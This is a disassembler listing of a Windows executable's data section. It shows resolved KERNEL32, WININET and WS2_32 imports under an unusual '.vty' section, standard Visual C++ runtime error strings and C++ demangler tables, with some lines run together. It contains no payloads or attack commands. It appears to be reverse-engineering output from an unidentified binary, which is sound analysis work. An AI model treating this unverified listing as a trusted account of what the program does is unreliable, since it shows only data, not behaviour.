dword_41C138 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_41C13C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_41C140 dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_411DBF+7r ...
dword_41C144 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; sub_41219F:loc_41223Er
dword_41C148 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_412136+62r ...
dword_41C14C dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; sub_41219F+85r
dword_41C150 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_412E01+84r ...
dword_41C154 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_4182CC+ABr
dword_41C158 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_412E01+59r ...
dword_41C15C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_41C160 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_412F1F+56r ...
dword_41C164 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_41C168 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_41C16C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4135A3+365r
dword_41C170 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_41440F+1EFr ...
dword_41C174 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41844E:loc_4184D1r ...
dword_41C178 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4135A3+144r ...
dword_41C17C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_41440F+212r ...
dword_41C180 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41593C+1B5r
dword_41C184 dd 7C8740E3h ; resolved to->KERNEL32.GetConsoleCPdword_41C188 dd 7C81AF14h ; resolved to->KERNEL32.GetConsoleModedword_41C18C dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_415807+126r
dword_41C190 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsAdword_41C194 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41C198 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C19C dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41C1A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41593C+1C7r ...
dword_41C1A4 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41C1A8 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate align 10h
dword_41C1B0 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_41C1B4 dd 7E41BD76h ; resolved to->USER32.GetCursorPos dd 0
dword_41C1BC dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_41C1C0 dd 42C249F2h ; resolved to->WININET.InternetConnectAdword_41C1C4 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_403E41+368r ...
dword_41C1C8 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_403E41+27Cr ...
dword_41C1CC dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_403E41+2D9r ...
dword_41C1D0 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_403E41+178r ...
dword_41C1D4 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_41C1D8 dd 42C20CC1h ; resolved to->WININET.HttpQueryInfoA ; sub_403E41+31Br ...
align 10h
dword_41C1E0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40D355+52r
dword_41C1E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40CCCC+1Cr
dword_41C1E8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40CC9C+2r
dword_41C1EC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40CCCC+B6r
dword_41C1F0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40D66E+17r
dword_41C1F4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_41C1F8 dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_41C1FC dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_403A28+B1r ...
dword_41C200 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40B642+73r ...
dword_41C204 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40CCCC+C8r
dword_41C208 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41C20C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_41C210 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_40D355+62r ...
dword_41C214 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40D602+4Ar
dword_41C218 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_40CCCC+62r
align 10h
dword_41C220 dd 0 dword_41C224 dd 0 dword_41C228 dd 0 dd offset sub_40DB55
dd offset sub_412A84
dd offset sub_413264
dd offset sub_413A88
dd offset sub_418441
dd offset sub_415D79
dword_41C244 dd 0 dword_41C248 dd 0 dd offset sub_41ACD2
dd offset sub_413B39
dword_41C254 dd 0 dword_41C258 dd 0 dd offset sub_415D9A
dword_41C260 dd 0Bh dup(0) dd offset dword_41F3C0
off_41C290 dd offset loc_40100B ; DATA XREF: .vty:loc_401000o
; .vty:0040100Eo ...
dd offset sub_40D947
dd offset dword_41F490
off_41C29C dd offset loc_4018D0 ; DATA XREF: sub_401869+20o
; sub_4018A5+Ao ...
; ---------------------------------------------------------------------------
retn 4018h
; ---------------------------------------------------------------------------
align 4
dd offset dword_41F440
off_41C2A8 dd offset loc_4018F7 ; DATA XREF: .vty:loc_4018ECo
; .vty:004018FAo ...
; ---------------------------------------------------------------------------
retn 4018h
; ---------------------------------------------------------------------------
align 10h
dd offset dword_41F6A4
off_41C2B4 dd offset loc_408185 ; DATA XREF: sub_40817Ao
; .vty:00408188o ...
; ---------------------------------------------------------------------------
retn 4018h
; ---------------------------------------------------------------------------
align 4
aStringTooLong db 'string too long',0 ; DATA XREF: sub_40D784+Co
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_40D7C3+Co
dd offset dword_41F298
off_41C2E8 dd offset loc_40D954 ; DATA XREF: sub_40D862+Ao
; sub_40D873+9o ...
dd offset sub_40D947
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_40D947+7o
align 4
dd offset dword_41F2AC
off_41C308 dd offset loc_40DE18 ; DATA XREF: sub_40DE0A+1o
; .vty:off_423014o ...
align 10h
aVisualCCrtNotE db 'Visual C++ CRT: Not enough memory to complete call to strerror.',0
; DATA XREF: sub_40F6FC+Fo
; sub_40F6FC+32o
dword_41C350 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h
byte_41C368 db 0 ; DATA XREF: sub_4113BB+177r
align 10h
aNull: ; DATA XREF: .vty:off_4231B4o
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .vty:off_4231B0o
align 4
byte_41C388 db 6 ; DATA XREF: sub_4113BB:loc_411544r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_411D53+43o
; sub_411EC6+2Eo
align 4
aKernel32_dll_0 db 'KERNEL32.DLL',0 ; DATA XREF: sub_411D53:loc_411D87o
; sub_411DBF:loc_411DF3o ...
align 4
aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_411DBF+43o
; sub_411EC6+42o
align 4
aFlsfree db 'FlsFree',0 ; DATA XREF: sub_41219F+44o
aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_41219F+37o
aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_41219F+2Ao
aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_41219F+22o
align 10h
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_4124BD+Fo
align 10h
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_4124BDo
aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: .vty:00423278o
align 4
aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: .vty:00423274o
aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: .vty:00423270o
align 4
aNoLocksAvailab db 'No locks available',0 ; DATA XREF: .vty:0042326Co
align 4
aFilenameTooLon db 'Filename too long',0 ; DATA XREF: .vty:00423268o
align 4
aResourceDeadlo db 'Resource deadlock avoided',0 ; DATA XREF: .vty:00423260o
align 4
aResultTooLarge db 'Result too large',0 ; DATA XREF: .vty:00423258o
align 4
aDomainError db 'Domain error',0 ; DATA XREF: .vty:00423254o
align 4
aBrokenPipe db 'Broken pipe',0 ; DATA XREF: .vty:00423250o
aTooManyLinks db 'Too many links',0 ; DATA XREF: .vty:0042324Co
align 4
aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: .vty:00423248o
align 10h
aInvalidSeek db 'Invalid seek',0 ; DATA XREF: .vty:00423244o
align 10h
aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: .vty:00423240o
aFileTooLarge db 'File too large',0 ; DATA XREF: .vty:0042323Co
align 4
aInappropriateI db 'Inappropriate I/O control operation',0 ; DATA XREF: .vty:00423234o
aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: .vty:00423230o
aTooManyOpenF_0 db 'Too many open files in system',0 ; DATA XREF: .vty:0042322Co
align 10h
aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: .vty:00423228o
align 4
aIsADirectory db 'Is a directory',0 ; DATA XREF: .vty:00423224o
align 4
aNotADirectory db 'Not a directory',0 ; DATA XREF: .vty:00423220o
aNoSuchDevice db 'No such device',0 ; DATA XREF: .vty:0042321Co
align 4
aImproperLink db 'Improper link',0 ; DATA XREF: .vty:00423218o
align 4
aFileExists db 'File exists',0 ; DATA XREF: .vty:00423214o
aResourceDevice db 'Resource device',0 ; DATA XREF: .vty:00423210o
aUnknownError db 'Unknown error',0 ; DATA XREF: .vty:0042320Co
; .vty:00423238o ...
align 10h
aBadAddress db 'Bad address',0 ; DATA XREF: .vty:00423208o
aPermissionDeni db 'Permission denied',0 ; DATA XREF: .vty:00423204o
align 10h
aNotEnoughSpace db 'Not enough space',0 ; DATA XREF: .vty:00423200o
align 4
aResourceTempor db 'Resource temporarily unavailable',0 ; DATA XREF: .vty:004231FCo
align 4
aNoChildProcess db 'No child processes',0 ; DATA XREF: .vty:004231F8o
align 4
aBadFileDescrip db 'Bad file descriptor',0 ; DATA XREF: .vty:004231F4o
aExecFormatErro db 'Exec format error',0 ; DATA XREF: .vty:004231F0o
align 4
aArgListTooLong db 'Arg list too long',0 ; DATA XREF: .vty:004231ECo
align 4
aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: .vty:004231E8o
align 4
aInputOutputErr db 'Input/output error',0 ; DATA XREF: .vty:004231E4o
align 4
aInterruptedFun db 'Interrupted function call',0 ; DATA XREF: .vty:004231E0o
align 4
aNoSuchProcess db 'No such process',0 ; DATA XREF: .vty:004231DCo
aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: .vty:004231D8o
align 10h
aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: .vty:004231D4o
aNoError db 'No error',0 ; DATA XREF: .vty:off_4231D0o
align 8
dword_41C798 dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
dd 7C7B7A79h, 7F7E7Dh, 3Dh
dword_41C81C dd 0 ; sub_41844E+27o
dword_41C820 dd 3D736363h, 0 dword_41C828 dd 2D465455h, 38hdword_41C830 dd 2D465455h, 454C3631h, 0aUnicode db 'UNICODE',0 ; DATA XREF: sub_413BFD:loc_413E17o
aRuntimeError db 'runtime error ',0
align 4
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 4
aSingError db 'SING error',0Dh,0Ah,0
align 4
aDomainError_0 db 'DOMAIN error',0Dh,0Ah,0
align 8
aR6034AnApplica db 'R6034',0Dh,0Ah
db 'An application has made an attempt to load the C runtime library '
db 'incorrectly.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 8
aR6033AttemptTo db 'R6033',0Dh,0Ah
db '- Attempt to use MSIL code from this assembly during native code '
db 'initialization',0Ah
db 'This indicates a bug in your application. It is most likely the r'
db 'esult of calling an MSIL-compiled (/clr) function from a native c'
db 'onstructor or from DllMain.',0Dh,0Ah,0
align 10h
aR6032NotEnough db 'R6032',0Dh,0Ah
db '- not enough space for locale information',0Dh,0Ah,0
align 8
aR6031AttemptTo db 'R6031',0Dh,0Ah
db '- Attempt to initialize the CRT more than once.',0Ah
db 'This indicates a bug in your application.',0Dh,0Ah,0
align 4
aR6030CrtNotIni db 'R6030',0Dh,0Ah
db '- CRT not initialized',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 10h
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .vty:off_423B2Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41422C+157o
align 10h
asc_41CDC0 db 0Ah ; DATA XREF: sub_41422C:loc_41433Co
db 0Ah,0
align 4
a___ db '...',0 ; DATA XREF: sub_41422C+E8o
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41422C+A3o
align 10h
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41422C+5Bo
db 0Ah
db 'Program: ',0
align 4
off_41CDFC dd offset sub_415FB1 ; DATA XREF: sub_412800+F1r
; sub_412800+FAo ...
dd offset dword_41F2F4
off_41CE04 dd offset loc_415DC9 ; DATA XREF: sub_415DBEo
; .vty:00415DCCo ...
dd offset sub_40D947
dword_41CE0C dd 20646162h, 65637865h, 6F697470h, 6Ehoff_41CE1C dd offset dword_424890 ; DATA XREF: sub_416B2C+D4o
dd offset dword_4248E8
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_4182CC+53o
align 4
aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: .vty:0041D424o
align 4
aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: .vty:0041D420o
align 4
aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: .vty:0041D41Co
align 4
aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: .vty:0041D418o
aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: .vty:0041D414o
align 4
aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: .vty:0041D560o
aManagedVectorC db '`managed vector copy constructor iterator',27h,0
; DATA XREF: .vty:0041D55Co
align 4
aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0
; DATA XREF: .vty:0041D558o
align 10h
aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D554o
align 4
aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: .vty:0041D550o
align 4
aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: .vty:0041D54Co
align 4
aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0
; DATA XREF: .vty:0041D548o
aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D544o
align 4
aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D540o
align 10h
aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D53Co
align 4
aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: .vty:0041D538o
align 4
aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: .vty:0041D534o
align 4
aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: .vty:0041D530o
align 4
aDelete db ' delete[]',0 ; DATA XREF: .vty:0041D52Co
align 10h
aNew db ' new[]',0 ; DATA XREF: .vty:0041D528o
align 4
aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: .vty:0041D524o
aLocalVftable db '`local vftable',27h,0 ; DATA XREF: .vty:0041D520o
aRtti db '`RTTI',0 ; DATA XREF: .vty:0041D51Co
align 4
aEh db '`EH',0 ; DATA XREF: .vty:0041D518o
aUdtReturning db '`udt returning',27h,0 ; DATA XREF: .vty:0041D514o
aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: .vty:0041D510o
align 4
aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D50Co
align 4
aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D508o
aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D504o
align 10h
aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: .vty:0041D500o
align 4
aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D4FCo
aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D4F8o
align 10h
aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D4F4o
align 10h
aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: .vty:0041D4F0o
align 10h
aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: .vty:0041D4ECo
align 10h
aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: .vty:0041D4E8o
align 10h
aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: .vty:0041D4E4o
align 4
aString db '`string',27h,0 ; DATA XREF: .vty:0041D4E0o
align 10h
aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: .vty:0041D4DCo
align 4
aTypeof db '`typeof',27h,0 ; DATA XREF: .vty:0041D4D8o
align 4
aVcall db '`vcall',27h,0 ; DATA XREF: .vty:0041D4D4o
aVbtable db '`vbtable',27h,0 ; DATA XREF: .vty:0041D4D0o
align 4
aVftable db '`vftable',27h,0 ; DATA XREF: .vty:0041D4CCo
align 4
asc_41D2C4 db '^=',0 ; DATA XREF: .vty:0041D4C8o
align 4
asc_41D2C8 db '|=',0 ; DATA XREF: .vty:0041D4C4o
align 4
asc_41D2CC db '&=',0 ; DATA XREF: .vty:0041D4C0o
align 10h
asc_41D2D0 db '<<=',0 ; DATA XREF: .vty:0041D4BCo
asc_41D2D4 db '>>=',0 ; DATA XREF: .vty:0041D4B8o
asc_41D2D8 db '%=',0 ; DATA XREF: .vty:0041D4B4o
align 4
asc_41D2DC db '/=',0 ; DATA XREF: .vty:0041D4B0o
align 10h
asc_41D2E0 db '-=',0 ; DATA XREF: .vty:0041D4ACo
align 4
asc_41D2E4 db '+=',0 ; DATA XREF: .vty:0041D4A8o
align 4
asc_41D2E8 db '*=',0 ; DATA XREF: .vty:0041D4A4o
align 4
asc_41D2EC db '||',0 ; DATA XREF: .vty:0041D4A0o
align 10h
asc_41D2F0 db '&&',0 ; DATA XREF: .vty:0041D49Co
align 4
asc_41D2F4: ; DATA XREF: .vty:0041D498o
unicode 0, <|>,0
asc_41D2F8: ; DATA XREF: .vty:0041D494o
unicode 0, <^>,0
asc_41D2FC: ; DATA XREF: .vty:0041D490o
unicode 0, <~>,0
asc_41D300 db '()',0 ; DATA XREF: .vty:0041D48Co
align 4
asc_41D304: ; DATA XREF: .vty:0041D488o
unicode 0, <,>,0
asc_41D308 db '>=',0 ; DATA XREF: .vty:0041D484o
align 4
asc_41D30C: ; DATA XREF: .vty:0041D480o
dw 3Eh
unicode 0, <>,0
asc_41D310 db '<=',0 ; DATA XREF: .vty:0041D47Co
align 4
asc_41D314: ; DATA XREF: .vty:0041D478o
dw 3Ch
unicode 0, <>,0
asc_41D318: ; DATA XREF: .vty:0041D474o
unicode 0, <%>,0
asc_41D31C: ; DATA XREF: .vty:0041D470o
unicode 0, </>,0
asc_41D320 db '->*',0 ; DATA XREF: .vty:0041D46Co
asc_41D324: ; DATA XREF: .vty:0041D468o
unicode 0, <&>,0
asc_41D328: ; DATA XREF: .vty:0041D464o
unicode 0, <+>,0
asc_41D32C: ; DATA XREF: .vty:0041D460o
unicode 0, <->,0
asc_41D330 db '--',0 ; DATA XREF: .vty:0041D45Co
align 4
asc_41D334 db '++',0 ; DATA XREF: .vty:0041D458o
align 4
asc_41D338: ; DATA XREF: .vty:0041D454o
unicode 0, <*>,0
asc_41D33C db '->',0 ; DATA XREF: .vty:0041D450o
align 10h
aOperator db 'operator',0 ; DATA XREF: .vty:0041D44Co
align 4
asc_41D34C db '[]',0 ; DATA XREF: .vty:0041D448o
align 10h
asc_41D350 db '!=',0 ; DATA XREF: .vty:0041D444o
align 4
asc_41D354 db '==',0 ; DATA XREF: .vty:0041D440o
align 4
asc_41D358: ; DATA XREF: .vty:0041D43Co
unicode 0, <!>,0
asc_41D35C db '<<',0 ; DATA XREF: .vty:0041D438o
align 10h
asc_41D360 db '>>',0 ; DATA XREF: .vty:0041D434o
align 4
aDelete_0 db ' delete',0 ; DATA XREF: .vty:0041D42Co
aNew_0 db ' new',0 ; DATA XREF: .vty:0041D428o
align 4
a__unaligned db '__unaligned',0 ; DATA XREF: .vty:0041D40Co
a__restrict db '__restrict',0 ; DATA XREF: .vty:0041D408o
align 4
; a__ptr64
a__ptr64 db '__ptr64',0 ; DATA XREF: .vty:0041D404o
a__clrcall db '__clrcall',0 ; DATA XREF: .vty:0041D400o
align 10h
a__fastcall db '__fastcall',0 ; DATA XREF: .vty:0041D3FCo
align 4
a__thiscall db '__thiscall',0 ; DATA XREF: .vty:0041D3F8o
align 4
a__stdcall db '__stdcall',0 ; DATA XREF: .vty:0041D3F4o
align 4
a__pascal db '__pascal',0 ; DATA XREF: .vty:0041D3F0o
align 10h
a__cdecl db '__cdecl',0 ; DATA XREF: .vty:0041D3ECo
a__based db '__based(',0 ; DATA XREF: .vty:0041D3E8o
align 8
dd offset a__based ; "__based("
dd offset a__cdecl ; "__cdecl"
dd offset a__pascal ; "__pascal"
dd offset a__stdcall ; "__stdcall"
dd offset a__thiscall ; "__thiscall"
dd offset a__fastcall ; "__fastcall"
dd offset a__clrcall ; "__clrcall"
dd offset a__ptr64 ; "__ptr64"
dd offset a__restrict ; "__restrict"
dd offset a__unaligned ; "__unaligned"
dd offset dword_41E020
dd offset aTypeDescriptor ; " Type Descriptor'"
dd offset aBaseClassDescr ; " Base Class Descriptor at ("
dd offset aBaseClassArray ; " Base Class Array'"
dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
dd offset aCompleteObject ; " Complete Object Locator'"
dd offset aNew_0 ; " new"
dd offset aDelete_0 ; " delete"
dd offset dword_41C798+80h
dd offset asc_41D360 ; ">>"
dd offset asc_41D35C ; "<<"
dd offset asc_41D358 ; "!"
dd offset asc_41D354 ; "=="
dd offset asc_41D350 ; "!="
dd offset asc_41D34C ; "[]"
dd offset aOperator ; "operator"
dd offset asc_41D33C ; "->"
dd offset asc_41D338 ; "*"
dd offset asc_41D334 ; "++"
dd offset asc_41D330 ; "--"
dd offset asc_41D32C ; "-"
dd offset asc_41D328 ; "+"
dd offset asc_41D324 ; "&"
dd offset asc_41D320 ; "->*"
dd offset asc_41D31C ; "/"
dd offset asc_41D318 ; "%"
dd offset asc_41D314 ; "<"
dd offset asc_41D310 ; "<="
dd offset asc_41D30C ; ">"
dd offset asc_41D308 ; ">="
dd offset asc_41D304 ; ","
dd offset asc_41D300 ; "()"
dd offset asc_41D2FC ; "~"
dd offset asc_41D2F8 ; "^"
dd offset asc_41D2F4 ; "|"
dd offset asc_41D2F0 ; "&&"
dd offset asc_41D2EC ; "||"
dd offset asc_41D2E8 ; "*="
dd offset asc_41D2E4 ; "+="
dd offset asc_41D2E0 ; "-="
dd offset asc_41D2DC ; "/="
dd offset asc_41D2D8 ; "%="
dd offset asc_41D2D4 ; ">>="
dd offset asc_41D2D0 ; "<<="
dd offset asc_41D2CC ; "&="
dd offset asc_41D2C8 ; "|="
dd offset asc_41D2C4 ; "^="
dd offset aVftable ; "`vftable'"
dd offset aVbtable ; "`vbtable'"
dd offset aVcall ; "`vcall'"
dd offset aTypeof ; "`typeof'"
dd offset aLocalStaticGua ; "`local static guard'"
dd offset aString ; "`string'"
dd offset aVbaseDestructo ; "`vbase destructor'"
dd offset aVectorDeleting ; "`vector deleting destructor'"
dd offset aDefaultConstru ; "`default constructor closure'"
dd offset aScalarDeleting ; "`scalar deleting destructor'"
dd offset aVectorConstruc ; "`vector constructor iterator'"
dd offset aVectorDestruct ; "`vector destructor iterator'"
dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
dd offset aVirtualDisplac ; "`virtual displacement map'"
dd offset aEhVectorConstr ; "`eh vector constructor iterator'"
dd offset aEhVectorDestru ; "`eh vector destructor iterator'"
dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'"
dd offset aCopyConstructo ; "`copy constructor closure'"
dd offset aUdtReturning ; "`udt returning'"
dd offset aEh ; "`EH"
dd offset aRtti ; "`RTTI"
dd offset aLocalVftable ; "`local vftable'"
dd offset aLocalVftableCo ; "`local vftable constructor closure'"
dd offset aNew ; " new[]"
dd offset aDelete ; " delete[]"
dd offset aOmniCallsig ; "`omni callsig'"
dd offset aPlacementDel_0 ; "`placement delete closure'"
dd offset aPlacementDelet ; "`placement delete[] closure'"
dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
dd offset aManagedVectorD ; "`managed vector destructor iterator'"
dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'"
dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"...
dd offset aDynamicInitial ; "`dynamic initializer for '"
dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '"
dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"...
dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
dd offset aLocalStaticThr ; "`local static thread guard'"
dd offset dword_41E020
dd 40h dup(0)
asc_41D668: ; DATA XREF: .vty:off_423880o
; .vty:00423E10o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
dword_41D868 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
; DATA XREF: .vty:00423E14o
; .vty:004237A8o
dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h)
dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h)
dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h)
dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h)
dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h
dd 0
dword_41DA70 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
